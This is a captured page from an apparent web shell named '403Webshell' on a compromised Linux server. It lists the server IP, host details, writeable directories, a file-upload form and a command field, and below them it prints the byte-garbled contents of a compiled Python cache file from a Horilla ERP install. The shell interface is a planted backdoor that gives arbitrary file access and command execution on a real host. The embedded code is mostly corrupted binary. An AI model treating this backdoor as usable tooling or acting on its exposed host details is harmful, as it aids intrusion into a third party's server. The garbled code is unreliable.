403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/base/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/base/__pycache__/context_processors.cpython-310.pyc
o

hͦh�"�@s>dZddlZddlmZddlmZddlmZddlm	Z	m
Z
ddlmZ
ddlmZmZdd	lmZdd
lmZmZmZddlmZddlmZmZmZdd
lmZGdd�d�Zdd�Z dd�Z!eeed�dd����Z"e�#e	de"dd��dd�Z$dd�Z%dd�Z&dd �Z'd!d"�Z(d#d$�Z)d%d&�Z*d'd(�Z+d)d*�Z,dS)+zJ
context_processor.py

This module is used to register context processor`
�N)�apps)�messages)�HttpResponse)�path�reverse)�gettext_lazy)�Company�TrackLateComeEarlyOut)�urlpatterns)�Employee�EmployeeGeneralSetting�EmployeeWorkInformation)�horilla_apps)�hx_request_required�login_required�permission_required)�get_horilla_model_classc@s0eZdZdZGdd�d�ZdZe�ZdZdZdS)�
AllCompanyz
    Dummy class
    c@seZdZdZdS)zAllCompany.Urls�>https://ui-avatars.com/api/?name=All+Company&background=randomN)�__name__�
__module__�__qualname__�url�rr�'/var/www/erp/base/context_processors.py�Urlssr�All Company�
All companiesN)	rrr�__doc__r�company�icon�text�idrrrrrsrcCs(|�d��d�}|r|d}|Sd}|S)N�/���)�strip�split)r�segments�last_sectionrrr�get_last_section%s
�r)cCs�tdd�tj��D��}gd�g|}|j�d�}d}|r*|dkr*d|dd	<d}n|D]}t|d�|kr<d|d	<d}q,||d
�S)zC
    This method will return the history additional field form
    css$�|]
}|j|j|jjdgVqdS)FN)r"rr r)�.0rrrr�	<genexpr>2s
��
�z get_companies.<locals>.<genexpr>)�allrrF�selected_companyFr,Tr�)�
all_companies�company_selected)�listr�objectsr,�session�get�str)�request�	companiesr-r0rrrr�
get_companies.s$����
r8zbase.change_companycCs`|j�d�}||jd<|dkrt�ntjj|d���r$tjj|d���nt�}|j�dd�}d}|dkr�t�	||�r�t
|�}tjj|d���}tjj|d��
�rV|jj|kr�d	}||jjjjkrbd
}|dkrhd}|j|jj||jd�}t�|td
��||jd<tdtd��d��Sd	}||jjjjkr�d
}|dkr�d}|j|jj||jd�}||jd<td�S)zK
    This method is used to update the selected company on the session
    �
company_idr-r,)r"�nextr#z^/employee/employee-view/\d+/$)�employee_idz
Other Companyz
My Companyr)rr r!r"z0Employee is not working in the selected company.�selected_company_instancez5
                    <script>window.location.href = `z
employee-viewz`</script>
                z*<script>window.location.reload();</script>)�GETr4r3rrr2�filter�first�re�matchr)rr
�exists�employee_work_infor9�user�employee_getrr rr"r�error�_rr)r6r9r�
previous_path�patternr;�employeer!rrr�update_selected_companyKsj
���	��
���
���
rKzupdate-selected-company)�namecCstttdd�}|r5tjjdd���}z|jj��r|jj��n|}Wn|}Y|r0|j	|d�Sd|d�Sddd�S)N�WHITE_LABELLINGFT)�hq�GN)�white_label_company_name�white_label_company)
�getattrrrr2r>�lastrDrE�get_companyr)r6�white_labellingrNrrrr�white_labelling_company�s&
�����rVcC�:d}d}t�d�rtddd�}|j��}|r|j}d|iS)�I
    Check weather resignation_request enabled of not in offboarding
    FN�offboarding�offboardinggeneralsetting��	app_label�model�enabled_resignation_request)r�is_installedrr2r?�resignation_request)r6r^r?�OffboardingGeneralSettingrrr�resignation_request_enabled��
�
rbcCs:d}d}t�d�rtddd�}|j��}|r|j}d|iS)rXNT�
attendance�attendancegeneralsettingr[�enabled_timerunner)rr_rr2r?�time_runner)r6r?rf�AttendanceGeneralSettingrrr�timerunner_enabled�rcricCrW)rX�N�payroll�payrollgeneralsettingr[�get_initial_notice_period)rr_rr2r?�
notice_period)r6�initialr?�PayrollGeneralSettingrrr�intial_notice_period�rcrqcC�<d}t�d�rtddd�}|j��}nd}|r|j}d|iS)zR
    This method is used to get the candidate self tracking is enabled or not
    F�recruitment�recruitmentgeneralsettingr[N�check_candidate_self_tracking)rr_rr2r?�candidate_self_tracking)r6rv�RecruitmentGeneralSettingr?rrrru�s
�rucCrr)zH
    This method is used to check enabled/disabled of rating option
    Frsrtr[N�$check_candidate_self_tracking_rating)rr_rr2r?�show_overall_rating)r6�
rating_optionrwr?rrrrx�s
�rxcCs,tj��}d}d}|r|j}|j}||d�S)z7
    This method is used to get the initial prefix
    N�GN0)�get_initial_prefix�prefix_instance_id)rr2r?r"�badge_id_prefix)r6�settings�instance_id�prefixrrrr|s

r|cCsddlm}d|jv}d|iS)Nr)r�	biometric�biometric_app_exists)�django.confr�INSTALLED_APPS)r6rr�rrrr�s
r�cCs"tj��}|r
|jnd}||d�S)NT)�tracking�late_come_early_out_tracking)r	r2r?�	is_enable)r6r��enablerrr�#enable_late_come_early_out_trackings

r�)-rr@�django.appsr�django.contribr�django.httpr�django.urlsrr�django.utils.translationrrG�base.modelsrr	�	base.urlsr
�employee.modelsrrr
�horillar�horilla.decoratorsrrr�horilla.methodsrrr)r8rK�appendrVrbrirqrurxr|r�r�rrrr�<module>sH	E��	


Youez - 2016 - github.com/yon3zu
LinuXploit